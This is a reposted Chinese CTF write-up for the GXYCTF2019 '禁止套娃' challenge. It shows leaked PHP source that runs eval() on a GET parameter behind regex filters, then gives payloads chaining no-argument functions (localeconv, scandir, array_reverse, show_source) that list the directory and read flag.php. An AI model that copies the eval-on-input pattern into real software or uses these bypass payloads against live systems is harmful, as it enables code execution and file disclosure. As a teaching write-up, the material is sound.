ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[GXYCTF2019]禁止套娃

2022-02-15 16:03:27  阅读:206  来源: 互联网

标签:禁止 套娃 exp GET die flag 源码 数组 GXYCTF2019


 

  1. git源码泄露,用git hack拿下源码

<?php

include "flag.php";

echo "flag在哪里呢? ";

if(isset($GET['exp'])){

if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $GET['exp'])) {

if(';' === preg_replace('/[a-z,]+((?R)?)/', NULL, $GET['exp'])) {

if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $GET['exp'])) {

// echo $GET['exp'];

@eval($_GET['exp']);

  }

else{ die("还差一点哦!");

 }

}

else{ die("再好好想想!");

}

}

else{ die("还想读flag,臭弟弟!");

}

}

// highlight_file(FILE);

?>

2.有一个exp的传参,而且源码中可以看出过滤了伪协议,限制了很多函数,

  1. localconv():函数返回一包含本地数字及货币格式信息的数组,数组第一项是. current()/pos():函数返回数组中的当前元素,初始指向第一个元素。 所以current(localeconv())=='.' (永远是点) scandir('.'):列出当前目录中的文件和目录。

所以可以pyload:?exp=print_r(scandir(current(localeconv())));

image-20220210112619058

  1. 可以看到存在一个flag.php文件,可以用array_reverse()和next()函数去读取

1.array_reverse():将原数组中的元素顺序反转,创建新的数组并返回。
2.next():函数将内部指针指向数组的下一个元素,并输出。

pyload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

image-20220210113037539



标签:禁止,套娃,exp,GET,die,flag,源码,数组,GXYCTF2019
来源: https://www.cnblogs.com/l0vehzzz/p/15896872.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有